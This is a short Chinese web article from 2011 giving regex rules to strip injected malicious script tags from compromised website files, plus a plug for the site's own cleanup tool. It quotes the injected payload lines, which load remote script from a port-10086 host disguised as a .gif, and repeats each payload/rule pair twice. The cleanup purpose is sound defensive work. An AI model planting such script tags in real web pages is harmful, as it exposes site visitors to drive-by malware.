JS变量挂马替换规则分享
发布时间：2011-03-27 20:06:46 作者：佚名 
我要评论
我要评论用户的服务器又被批量挂马，做了个清马规则，保险起见请用我们开发的网站木马清理专家的字符串替换功能批量替换，其他的工具不保证能替换干净！
网站木马清理专家全功能免费版：https://www.jb51.net/softs/12771.html
挂马内容如下：
程序代码
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?KRKJ><\/script>");
替换规则如下：
程序代码
@document\.writeln\("<script.*9966\.org.*\/script>"\)；
挂马内容如下：
程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?VINIJ></script>
替换规则如下：
程序代码
@<script[^<]*9966\.org[^<]*</script>
挂马内容如下：
程序代码
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?KRKJ><\/script>");
替换规则如下：
程序代码
@document\.writeln\("<script.*9966\.org.*\/script>"\)；
挂马内容如下：
程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?VINIJ></script>
替换规则如下：
程序代码
@<script[^<]*9966\.org[^<]*</script>
相关文章
手动处理IE被劫持的详细方法 IE浏览器被劫持的手动处理方法
IE浏览器被劫持了.上网时经常会遇到.下面的方法很有用2012-06-20- 1KB文件夹快捷方式病毒清除专用附件包含三部分。2009-12-13
- Firewall 防火墙，工作在网络或主机的边缘，对进出本网络或主机的数据包根据事先设置好的规则进行检查并且能够在数据包匹配到之后由预置的动作进行处理的组件的组合2012-07-11
- 突然发现IE7的搜索框不能用了，以为是IE出了问题，几次修复无果后，重新装了IE8，结果无法添加新的搜索引擎，其实用金山急救箱查杀下即可。2010-06-02
- 本文主要介绍了rootkits病毒的原理以及如何清除2012-07-07
- 我们常常会在硬盘的各个分区根目录下面看到“Autorun.inf”这样的文件，并且用鼠标双击磁盘分区图标时，往往无法打开对应分区窗口;遭遇类似上述现象时，那几乎就能断定本地2015-09-15
- 杀毒软件多了去了.这么多到底哪个好啊.下面给大家介绍一下.2012-05-15
mcafee 密码解锁图文方法[mcafee密码设置，登录，修改，忘记密码]
今天电信机房设置问题，导致网站无法访问了，因为服务器安装了mcafee导致很多操作在服务器上无法运行，所以我们简单弄了一个实现步骤，主要是方便对mcafee不太熟悉的朋友。2011-12-18- 发现McAfee无法自动更新病毒库，不知道是什么问题，后来从网上看了下面的方法，试了下，感觉不错，一般重新安装后是没有问题的。2012-01-08
- 映像劫持(Image Hijack)是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定，在针对杀毒软件方面，OSO病毒还采用了一种新技术就是映像劫持，通过2016-07-08
最新评论